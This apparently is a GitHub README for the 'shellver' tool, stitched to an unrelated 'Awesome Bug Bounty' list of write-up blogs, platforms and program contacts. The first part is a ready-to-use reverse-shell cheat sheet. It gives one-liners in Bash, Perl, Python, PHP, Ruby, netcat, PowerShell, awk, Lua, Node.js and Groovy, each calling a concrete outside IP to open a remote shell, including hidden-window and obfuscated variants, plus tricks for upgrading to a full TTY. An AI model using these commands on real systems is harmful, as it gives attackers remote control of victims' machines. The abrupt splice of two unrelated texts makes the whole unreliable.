<img src="https://github.com/0xR0/shellver/blob/master/ss/py.png" >
shellver msf
<img src="https://github.com/0xR0/shellver/blob/master/ss/all.png" >
From https://github.com/swisskyrepo
# Reverse Shell Methods
```
╔Bash TCP═══════════════════════════════════════════
║ bash -i >& /dev/tcp/171.25.193.25/1234 0>&1
║═══════════════════════════════════════════════════
║ 0<&196;exec 196<>/dev/tcp/171.25.193.25/1234; sh <&196 >&196 2>&196
╚═══════════════════════════════════════════════════
╔Bash UDP═════════════╦═════════════════════════════
║ Run Target Machine ║ sh -i >& /dev/udp/171.25.193.25/1234 0>&1
╚═════════════════════╩═════════════════════════════
╔PERL═══════════════════════════════════════════════
║ perl -e 'use Socket;$i="171.25.193.25";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
╔═══════════════════════════════════════════════════
║ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"171.25.193.25:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
╔══════════════╦════════════════════════════════════
║ Windows only ║ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"171.25.193.25:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
════════════════════════════════════════════════════
╔PYTHON═════════════════════════════════════════════
║ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("171.25.193.25",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
╔═══════════════════════════════════════════════════
║ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("171.25.193.25",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
╔═══════════════════════════════════════════════════
║ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('171.25.193.25', 1234)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\windows\system32\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
════════════════════════════════════════════════════
╔PHP════════════════════════════════════════════════
║ php -r '$sock=fsockopen("171.25.193.25",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
╚═══════════════════════════════════════════════════
╔RUBY═══════════════════════════════════════════════
║ ruby -rsocket -e'f=TCPSocket.open("171.25.193.25",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
╔═══════════════════════════════════════════════════
║ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("171.25.193.25","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
╔══════════════╦════════════════════════════════════
║ Windows only ║ ruby -rsocket -e 'c=TCPSocket.new("171.25.193.25","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
════════════════════════════════════════════════════
╔Netcat Traditional═════════════════════════════════
║ nc -e /bin/sh 171.25.193.25 1234
╚═══════════════════════════════════════════════════
╔Netcat OpenBsd═════════════════════════════════════
║ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 171.25.193.25 1234 >/tmp/f
╚═══════════════════════════════════════════════════
╔NCAT═══════════════════════════════════════════════
║ ncat 171.25.193.25 1234 -e /bin/bash
║═══════════════════════════════════════════════════
║ ncat --udp 171.25.193.25 1234 -e /bin/bash
╚═══════════════════════════════════════════════════
╔POWERSHELL═════════════════════════════════════════
║ powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("171.25.193.25",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
╔═══════════════════════════════════════════════════
║ powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('171.25.193.25',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
════════════════════════════════════════════════════
╔AWK════════════════════════════════════════════════
║ awk 'BEGIN {s = "/inet/tcp/0/171.25.193.25/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
════════════════════════════════════════════════════
╔JAWA═══════════════════════════════════════════════
║ r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/171.25.193.25/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
════════════════════════════════════════════════════
╔LUA══════════╦═════════════════════════════════════
║ Linux only ║ lua -e "require('socket');require('os');t=socket.tcp();t:connect('171.25.193.25','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
════════════════════════════════════════════════════
╔════════════════════╦══════════════════════════════
║ Windows and Linux ║ lua5.1 -e 'local host, port = "171.25.193.25", 1234 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
════════════════════════════════════════════════════
╔NODEJS═════════════════════════════════════════════
║(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "171.25.193.25", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
╔═════╦═════════════════════════════════════════════
║ OR ║ require('child_process').exec('nc -e /bin/sh 171.25.193.25 1234')
╚═════╩═════════════════════════════════════════════
╔═════╦═════════════════════════════════════════════
║ OR ║ -var x = global.process.mainModule.require
-x('child_process').exec('nc 171.25.193.25 1234 -e /bin/bash')
════════════════════════════════════════════════════
╔JAWA For GROOVY════════════════════════════════════
║ String host="171.25.193.25";
int port=1234;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
════════════════════════════════════════════════════
```
# Spawn TTY
```bash
/bin/sh -i
```
(From an interpreter)
```powershell
python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
```
Access shortcuts, su, nano and autocomplete in a partially tty shell
/!\ OhMyZSH might break this trick, a simple `sh` is recommended
```powershell
# in host
ctrl+z
stty raw -echo
fg
# in reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```
(From within vi)
```bash
:!bash
:set shell=/bin/bash:shell
```
(From within nmap)
```sh
!sh
```
## Thanks to
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [Spawning a TTY Shell](http://netsec.ws/?p=337)
* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
|
# Awesome Bug Bounty [](https://github.com/sindresorhus/awesome)
A comprehensive curated list of Bug Bounty Programs and write-ups from the Bug Bounty hunters.
## Table of Contents
- [Getting Started](#getting-started)
- [Write Ups & Authors](#write-ups--authors)
- [Platforms](#platforms)
- [Available Programs](#available-programs)
- [Contribution guide](contributing.md)
### Getting Started
- [How to Become a Successful Bug Bounty Hunter](https://hackerone.com/blog/what-great-hackers-share)
- [Researcher Resources - How to become a Bug Bounty Hunter](https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102)
- [Bug Bounties 101](https://whitton.io/articles/bug-bounties-101-getting-started/)
- [The life of a bug bounty hunter](http://www.alphr.com/features/378577/q-a-the-life-of-a-bug-bounty-hunter)
- [Awsome list of bugbounty cheatsheets](https://github.com/EdOverflow/bugbounty-cheatsheet)
- [Getting Started - Bug Bounty Hunter Methodology](https://blog.bugcrowd.com/getting-started-bug-bounty-hunter-methodology)
### Write Ups & Authors
- [sakurity.com/blog](http://sakurity.com/blog) - by [Egor Homakov](https://twitter.com/homakov)
- [respectxss.blogspot.in](http://respectxss.blogspot.in/) - by [Ashar Javed](https://twitter.com/soaj1664ashar)
- [labs.detectify.com](http://labs.detectify.com/) - by [Frans Rosén](https://twitter.com/fransrosen)
- [cliffordtrigo.info](https://www.cliffordtrigo.info/) - by [Clifford Trigo](https://twitter.com/MrTrizaeron)
- [stephensclafani.com](http://stephensclafani.com/) - by [Stephen Sclafani](https://twitter.com/Stephen)
- [sasi2103.blogspot.co.il](http://sasi2103.blogspot.co.il/) - by [Sasi Levi](https://twitter.com/sasi2103)
- [pwnsecurity.net](http://www.pwnsecurity.net/) - by [Shashank](https://twitter.com/cyberboyIndia)
- [breaksec.com](https://www.breaksec.com/) - by [Nir Goldshlager](https://twitter.com/Nirgoldshlager)
- [pwndizzle.blogspot.in](http://pwndizzle.blogspot.in/) - by [Alex Davies](https://twitter.com/pwndizzle)
- [c0rni3sm.blogspot.in](http://c0rni3sm.blogspot.in/) - by [yappare](https://twitter.com/yappare)
- [exploit.co.il/blog](http://exploit.co.il/blog/) - by [Shai rod](https://twitter.com/NightRang3r)
- [ibreak.software](https://ibreak.software/) - by [Riyaz Ahemed Walikar](https://twitter.com/riyazwalikar)
- [panchocosil.blogspot.in](http://panchocosil.blogspot.in/) - by [Francisco Correa](https://twitter.com/@panchocosil)
- [breakingmesh.blogspot.in](http://breakingmesh.blogspot.in/) - by [Sahil Sehgal](https://twitter.com/xXSehgalXx)
- [websecresearch.com](http://www.websecresearch.com/) - by [ Ajay Singh Negi](https://twitter.com/ajaysinghnegi)
- [securitylearn.net](http://www.securitylearn.net/about/) - by [Satish Bommisetty](https://twitter.com/satishb3)
- [secinfinity.net](http://www.secinfinity.net/) - by Prakash Sharma
- [websecuritylog.com](http://www.websecuritylog.com/) - by [jitendra jaiswal](https://twitter.com/jeetjaiswal22)
- [medium.com/@ajdumanhug](https://medium.com/@ajdumanhug) - by [Allan Jay Dumanhug](https://www.twitter.com/ajdumanhug)
- [Web Hacking 101](https://leanpub.com/web-hacking-101) - by [Peter Yaworski](https://twitter.com/yaworsk)
### Platforms
- [HackerOne](https://hackerone.com/)
- [Bugcrowd](https://bugcrowd.com/)
- [Cobalt](https://cobalt.io/)
- [Bountysource](https://www.bountysource.com/)
- [Bounty Factory](https://bountyfactory.io/)
- [Coder Bounty](http://www.coderbounty.com/)
- [FreedomSponsors](https://freedomsponsors.org/)
- [FOSS Factory](http://www.fossfactory.org/)
- [Synack](https://www.synack.com/)
### Available Programs
- [123Contact Form](http://www.123contactform.com/security-acknowledgements.htm)
- [99designs](https://hackerone.com/99designs)
- [Abacus](https://bugcrowd.com/abacus)
- [Acquia](mailto:[email protected])
- [ActiveCampaign](mailto:[email protected])
- [ActiveProspect](mailto:[email protected])
- [Adobe](https://hackerone.com/adobe)
- [AeroFS](mailto:[email protected])
- [Airbitz](https://cobalt.io/airbitz)
- [Airbnb](https://hackerone.com/airbnb)
- [Algolia](https://hackerone.com/algolia)
- [Altervista](http://en.altervista.org/feedback.php?who=feedback)
- [Amara](mailto:[email protected])
- [Amazon Web Services](mailto:[email protected])
- [Amazon.com](mailto:[email protected])
- [ANCILE Solutions Inc.](https://bugcrowd.com/ancile)
- [Anghami](https://hackerone.com/anghami)
- [ANXBTC](https://cobalt.io/anxbtc)
- [Apache httpd](https://hackerone.com/ibb-apache)
- [Appcelerator](mailto:[email protected])
- [Apple](mailto:[email protected])
- [Apptentive](https://www.apptentive.com/contact)
- [Aptible](mailto:[email protected])
- [Ardour](http://tracker.ardour.org/my_view_page.php)
- [ARM mbed](mailto:[email protected])
- [Asana](mailto:[email protected])
- [ASP4all](mailto:[email protected])
- [AT&T](https://bugbounty.att.com/bugform.php)
- [Atlassian](https://securitysd.atlassian.net/servicedesk/customer/portal/2)
- [Attack-Secure](mailto:[email protected])
- [Authy](mailto:[email protected])
- [Automattic](https://hackerone.com/automattic)
- [Avast!](mailto:[email protected])
- [Avira](mailto:[email protected])
- [AwardWallet](https://cobalt.io/awardwallet)
- [Badoo](https://corp.badoo.com/en/security/#send_bid)
- [Barracuda](https://bugcrowd.com/barracuda)
- [Basecamp](mailto:[email protected])
- [Beanstalk](https://wildbit.wufoo.com/forms/wildbit-security-response)
- [BillGuard](https://cobalt.io/billguard)
- [Billys Billing](https://cobalt.io/billys-billing)
- [Binary.com](https://hackerone.com/binary)
- [Binary.com Cashier](https://hackerone.com/binary_cashier)
- [BitBandit.eu](https://cobalt.io/bitbandit-eu)
- [Bitcasa](mailto:[email protected])
- [BitCasino](https://cobalt.io/bitcasino)
- [BitGo](https://cobalt.io/bitgo)
- [BitHealth](https://cobalt.io/bithealth)
- [BitHunt](https://hackerone.com/bithunt)
- [BitMEX](https://cobalt.io/bitmex)
- [Bitoasis](https://cobalt.io/bitoasis)
- [Bitpagos](https://cobalt.io/bitpagos)
- [Bitrated](https://cobalt.io/bitrated)
- [Bitreserve](https://cobalt.io/bitreserve)
- [Bitspark](https://cobalt.io/bitspark)
- [Bitwage](https://cobalt.io/bitwage)
- [BitWall](mailto:[email protected])
- [BitYes](https://cobalt.io/bityes)
- [BlackBerry](https://global.blackberry.com/secure/report-an-issue/en.html)
- [Blackboard](mailto:[email protected])
- [Blackphone](https://bugcrowd.com/blackphone)
- [Blesta](mailto:[email protected])
- [Block.io](https://hackerone.com/blockio)
- [Block.io, Inc.](https://cobalt.io/block-io-inc)
- [Blockchain.info](https://cobalt.io/blockchain-info)
- [BlockScore](https://cobalt.io/blockscore)
- [Bookfresh](https://hackerone.com/bookfresh)
- [Box](mailto:[email protected])
- [Braintree](mailto:[email protected])
- [BTC_sx](https://cobalt.io/btc-sx)
- [Buffer](mailto:[email protected])
- [BX.in.th](https://cobalt.io/bx-in-th)
- [C2FO](https://hackerone.com/c2fo)
- [Campaign Monitor](https://help.campaignmonitor.com/contact)
- [CARD.com](https://bugcrowd.com/card)
- [Catchafire](https://cobalt.io/catchafire)
- [Caviar](https://hackerone.com/caviar)
- [CCBill](mailto:[email protected])
- [CERT/CC](https://hackerone.com/cert)
- [Certly](https://hackerone.com/certly)
- [ChainPay](https://cobalt.io/chainpay)
- [ChangeTip](https://cobalt.io/changetip)
- [Chargify](https://bugcrowd.com/chargify)
- [Chromium Project](https://code.google.com/p/chromium/issues/entry?template=Security%20Bug)
- [Circle](https://cobalt.io/circle)
- [CircleCI](mailto:[email protected])
- [Cisco](http://www.cisco.com/web/about/security/psirt/security_vulnerability_policy.html#roosfassv)
- [Clojars](mailto:[email protected])
- [CloudFlare](https://hackerone.com/cloudflare)
- [Cobalt](https://cobalt.io/cobalt)
- [Code Climate](mailto:[email protected])
- [CodeIgniter](https://hackerone.com/codeigniter)
- [CodePen](https://bugcrowd.com/codepen)
- [Coin Republic](https://cobalt.io/coin-republic)
- [Coin.Space](https://hackerone.com/coinspace)
- [Coinage](https://cobalt.io/coinage)
- [Coinbase](https://hackerone.com/coinbase)
- [CoinDaddy](https://cobalt.io/coindaddy)
- [Coinkite](mailto:[email protected]?subject=%5BVulnerability%5D%20-%20)
- [Coinport](https://cobalt.io/coinport)
- [coins.ph](https://cobalt.io/coins-ph)
- [Cointrader.net](https://cobalt.io/cointrader-net)
- [Coinvoy](https://cobalt.io/coinvoy)
- [Compose](mailto:[email protected])
- [concrete5](https://hackerone.com/concrete5)
- [Constant Contact](mailto:[email protected])
- [Counterparty](https://cobalt.io/counterparty)
- [Coupa](mailto:[email protected])
- [Coursera](https://hackerone.com/coursera)
- [cPanel](mailto:[email protected])
- [cPaperless](mailto:[email protected])
- [Crix.io](https://cobalt.io/crixio)
- [CrowdShield](https://crowdshield.com/bug-bounty-list.php?bug_bounty_program=crowdshield)
- [Cryptocat](https://github.com/cryptocat/cryptocat/issues)
- [Cupcake](mailto:[email protected])
- [CustomerInsight](mailto:[email protected])
- [Cylance](https://hackerone.com/cylance)
- [Dato Capital](mailto:security%40datocapital.com)
- [Detectify](mailto:[email protected])
- [DigitalOcean](mailto:[email protected])
- [DigitalSellz](https://hackerone.com/digitalsellz)
- [Django](https://hackerone.com/django)
- [Doorkeeper](mailto:[email protected])
- [DoSomething](https://cobalt.io/dosomething)
- [DPD](mailto:[email protected])
- [Dropbox](https://hackerone.com/dropbox)
- [Dropbox Acquisitions](https://hackerone.com/dropbox-acquisitions)
- [Drupal](https://www.drupal.org/node/101494)
- [eBay](http://pages.ebay.com/securitycenter/Researchers.html)
- [Eclipse](mailto:[email protected])
- [EMC](mailto:[email protected])
- [Enano](mailto:[email protected])
- [Engine Yard](mailto:[email protected])
- [Envoy](https://hackerone.com/envoy)
- [Eobot](https://cobalt.io/eobot)
- [EthnoHub](mailto:[email protected])
- [Etsy](https://www.etsy.com/bounty)
- [EVE](mailto:[email protected])
- [Event Espresso](http://eventespresso.com/report-a-security-vulnerability)
- [Evernote](mailto:[email protected])
- [Expatistan](mailto:[email protected])
- [ExpressionEngine](https://hackerone.com/expressionengine)
- [Ezbob](https://cobalt.io/ezbob)
- [Facebook](https://www.facebook.com/whitehat)
- [Faceless](https://hackerone.com/faceless)
- [Factlink](https://hackerone.com/factlink)
- [FanFootage](https://hackerone.com/fanfootage)
- [FastSlots](https://cobalt.io/fastslots)
- [Flash](https://hackerone.com/flash)
- [Flood](mailto:[email protected])
- [Flow Dock](mailto:[email protected])
- [Flox](https://hackerone.com/flox)
- [Fluxiom](mailto:[email protected])
- [Fog Creek](http://www.fogcreek.com/contact)
- [FormAssembly](mailto:[email protected])
- [Founder Bliss](https://cobalt.io/founder-bliss)
- [Foursquare](mailto:[email protected])
- [Freelancer](mailto:[email protected])
- [Gallery](mailto:[email protected])
- [Gamma](mailto:[email protected])
- [Gemfury](mailto:[email protected])
- [General Motors](https://hackerone.com/gm)
- [GhostMail](https://hackerone.com/gmguys)
- [GitHub](https://bounty.github.com/submit-a-vulnerability.html)
- [GitLab](https://hackerone.com/gitlab)
- [GlassWire](https://hackerone.com/glasswire)
- [Gliph](mailto:[email protected])
- [GlobaLeaks](https://hackerone.com/globaleaks)
- [Google PRP](mailto:[email protected])
- [Google VRP](https://www.google.com/about/appsecurity/reward-program/index.html)
- [Gratipay](https://hackerone.com/gratipay)
- [GreenAddress](https://cobalt.io/greenaddress)
- [Greenhouse.io](https://hackerone.com/greenhouse)
- [Grok Learning](mailto:[email protected])
- [HackerOne](https://hackerone.com/security)
- [Harmony](mailto:[email protected])
- [Heroku](https://bugcrowd.com/heroku)
- [Hex-Rays](mailto:[email protected])
- [Hive Wallet](https://cobalt.io/hive-wallet)
- [Hootsuite](mailto:[email protected])
- [HTC](mailto:[email protected])
- [Huawei](mailto:[email protected])
- [Hubdia](https://hackerone.com/hubdia)
- [Humble Bundle](https://bugcrowd.com/humblebundle)
- [Ian Dunn](https://hackerone.com/iandunn-projects)
- [IBM](https://www.ibm.com/scripts/contact/contact/us/en/security_vulnerabilities)
- [ICEcoder](https://bugcrowd.com/icecoder)
- [Iconfinder](mailto:[email protected])
- [Ifixit](mailto:[email protected])
- [Imgur](https://hackerone.com/imgur)
- [ImpressPages](https://cobalt.io/impresspages)
- [Indeed](https://bugcrowd.com/indeed)
- [Independent Reserve](https://cobalt.io/independent-reserve)
- [Informatica](https://hackerone.com/informatica)
- [IntegraXor](http://www.integraxor.com/support.html)
- [Internetwache](mailto:[email protected])
- [InVision](https://hackerone.com/invision)
- [IRCCloud](https://hackerone.com/irccloud)
- [itBit Exchange](https://hackerone.com/itbit)
- [ITRP](mailto:[email protected])
- [joola.io](https://hackerone.com/joola-io)
- [Joomla](http://vel.joomla.org/submit-vel)
- [JRuby](mailto:[email protected])
- [jsDelivr](https://hackerone.com/jsdelivr)
- [Juniper](mailto:[email protected])
- [Kadira](https://hackerone.com/kadira)
- [Kaneva](mailto:[email protected])
- [Kayako](http://my.kayako.com/Tickets/Submit)
- [Kenna](https://bugcrowd.com/riskio)
- [Keybase](https://hackerone.com/keybase)
- [Khan Academy](https://hackerone.com/khanacademy)
- [Kraken](mailto:[email protected])
- [Lancor Income](https://cobalt.io/lancor-income)
- [LastPass](mailto:[email protected])
- [LaunchKey](mailto:[email protected])
- [Lean Testing](https://hackerone.com/leantesting)
- [leetfiles](https://hackerone.com/leetfiles)
- [Librato](mailto:[email protected])
- [LibSass](https://hackerone.com/libsass)
- [Liferay](mailto:[email protected])
- [Line](https://bugbounty.linecorp.com/en/)
- [LinkedIn](mailto:[email protected])
- [LiveEnsure](http://www.liveensure.com/contact.php)
- [LocalBitcoins](https://cobalt.io/localbitcoins)
- [Localize](https://hackerone.com/localize)
- [Logentries](mailto:[email protected])
- [Lookout](mailto:[email protected])
- [Magento](mailto:[email protected])
- [MAGIX](mailto:[email protected])
- [Mahara](mailto:[email protected])
- [MaiCoin](https://cobalt.io/maicoin)
- [Mail.Ru](https://hackerone.com/mailru)
- [Mailbird](https://cobalt.io/mailbird)
- [MailChimp](http://mailchimp.com/about/security-response/)
- [ManageBGL](https://cobalt.io/managebgl)
- [ManageWP](mailto:[email protected])
- [MapLogin](https://hackerone.com/maplogin)
- [Marktplatts](https://hackerone.com/marktplaats)
- [Mavenlink](https://hackerone.com/mavenlink)
- [Maximum](https://hackerone.com/maximum)
- [MCProHosting](https://bugcrowd.com/mcprohostings)
- [MEGA](mailto:[email protected])
- [Mercury](https://cobalt.io/mercury)
- [Meteor](https://hackerone.com/meteor)
- [meXBT](https://cobalt.io/mexbt)
- [Microsoft](mailto:[email protected])
- [Mimecast](mailto:[email protected])
- [Mobile Vikings](https://hackerone.com/mobilevikings)
- [Modus CSR](mailto:[email protected])
- [MoneyBird](mailto:[email protected])
- [MoneyStream](https://hackerone.com/moneystream)
- [Moodle](mailto:[email protected])
- [Motorola Solutions](mailto:[email protected])
- [Mozilla](https://www.mozilla.org/en-US/security/bug-bounty/)
- [mynxt.info](https://cobalt.io/mynxt-info)
- [Natures Organics](mailto:[email protected])
- [NCSC](mailto:[email protected])
- [Nearby Live](https://hackerone.com/nearby)
- [Nest](mailto:[email protected])
- [Netflix](mailto:[email protected])
- [Nexmo](https://cobalt.io/nexmo)
- [Nginx](https://hackerone.com/ibb-nginx)
- [Nitrous](mailto:[email protected])
- [Nokia Networks](mailto:[email protected])
- [NoPass](https://cobalt.io/nopass)
- [NZRS](mailto:[email protected])
- [Offensive Security](mailto:[email protected])
- [ok.ru](https://hackerone.com/ok)
- [OKCoin](https://cobalt.io/okcoin)
- [OkCupid](https://hackerone.com/okcupid)
- [Olark](mailto:[email protected])
- [Opal Cryptocurrency](https://cobalt.io/opal-cryptocurrency)
- [Openfolio](https://hackerone.com/openfolio)
- [OpenSSL](https://hackerone.com/ibb-openssl)
- [OpenStack](https://security.openstack.org/#how-to-report-security-issues-to-openstack)
- [OpenText](mailto:[email protected])
- [Opera](https://bugs.opera.com/wizarddesktop)
- [Optimizely](https://cobalt.io/optimizely)
- [Oracle](mailto:[email protected])
- [ownCloud](https://hackerone.com/owncloud)
- [PagerDuty](mailto:[email protected])
- [Panasonic Avionics](https://hackerone.com/panasonic-aero)
- [Pantheon](https://bugcrowd.com/pantheon)
- [Panzura](mailto:[email protected])
- [Paragon Initiative Enterprises](https://hackerone.com/paragonie)
- [Paychoice](mailto:[email protected])
- [PayMill](mailto:[email protected])
- [PayPal](mailto:https://www.paypal.com/bugbounty/register)
- [Perl](https://hackerone.com/ibb-perl)
- [Phabricator](https://hackerone.com/phabricator)
- [PHP](https://bugs.php.net/report.php)
- [Pidgin](mailto:[email protected])
- [PikaPay](mailto:[email protected])
- [PinoyHackNews](mailto:[email protected])
- [Pinterest](https://bugcrowd.com/pinterest)
- [Piwik Open Source Analytics](https://cobalt.io/piwik-open-source-analytics)
- [Plone](mailto:[email protected])
- [Pocket](mailto:[email protected])
- [Poloniex](https://cobalt.io/poloniex)
- [Postmark](https://wildbit.wufoo.com/forms/wildbit-security-response)
- [Prezi](mailto:[email protected])
- [Projectplace](https://hackerone.com/projectplace)
- [PullReview](mailto:[email protected])
- [Puppet labs](mailto:[email protected])
- [PureVPN](https://bugcrowd.com/purevpn)
- [Python](mailto:[email protected])
- [QIWI](https://hackerone.com/qiwi)
- [Quadriga CX](https://cobalt.io/quadriga-cx)
- [QuickBT](https://cobalt.io/quickbt)
- [Rackspace](mailto:[email protected])
- [Rdbhost_service](https://cobalt.io/rdbhost-service)
- [Red Hat](mailto:[email protected])
- [Reddit](mailto:[email protected])
- [Relaso](mailto:[email protected])
- [RelateIQ](mailto:[email protected])
- [Release Wire](http://www.releasewire.com/about/contact)
- [Respondly](https://hackerone.com/respondly)
- [Revive Adserver](https://hackerone.com/revive_adserver)
- [Ribose](https://www.ribose.com/feedbacks/security)
- [Ripio](https://cobalt.io/ripio)
- [Ripple](mailto:[email protected])
- [Riskalyze](mailto:[email protected])
- [Romit](https://hackerone.com/romit)
- [Ruby](mailto:[email protected])
- [Ruby on Rails](https://hackerone.com/rails)
- [Salesforce](mailto:[email protected])
- [Samsung TV](https://samsungtvbounty.com/ReportBug.aspx)
- [Sandbox Escape](https://hackerone.com/sandbox)
- [SAP](mailto:[email protected])
- [Schuberg Philis](mailto:[email protected])
- [Scorpion Software](mailto:[email protected])
- [Secret](https://hackerone.com/secret)
- [Secure Works](mailto:[email protected])
- [Sellfy](http://docs.sellfy.com/contact)
- [ServiceRocket](https://bugcrowd.com/servicerocket)
- [ShareLaTeX](mailto:[email protected])
- [Sherpany](https://cobalt.io/sherpany)
- [Shopify](https://hackerone.com/shopify)
- [Sifter](mailto:[email protected]?subject=%27Security%20Vulnerability%20Report%27)
- [Silent Circle](https://bugcrowd.com/silentcircle)
- [Simple](https://bugcrowd.com/simple)
- [SiteGround](mailto:[email protected])
- [Skoodat](mailto:[email protected])
- [Skrill](https://cobalt.io/skrill)
- [Slack](https://hackerone.com/slack)
- [Snapchat](https://hackerone.com/snapchat)
- [Snappy](mailto:[email protected])
- [Sonatype](mailto:[email protected])
- [Sony](https://secure.sony.net/form)
- [SoundCloud](https://scsecurity.freshdesk.com/support/tickets/new)
- [SpectroCoin](https://cobalt.io/spectrocoin)
- [Spendbitcoins](https://cobalt.io/spendbitcoins)
- [SplashID](https://bugcrowd.com/splashid)
- [Splitwise](mailto:[email protected])
- [Spotify](mailto:[email protected])
- [Sprout Social](mailto:[email protected])
- [Square](https://hackerone.com/square)
- [Square Open Source](https://hackerone.com/square-open-source)
- [StatusPage](https://bugcrowd.com/sunrise)
- [StopTheHacker](https://hackerone.com/stopthehacker)
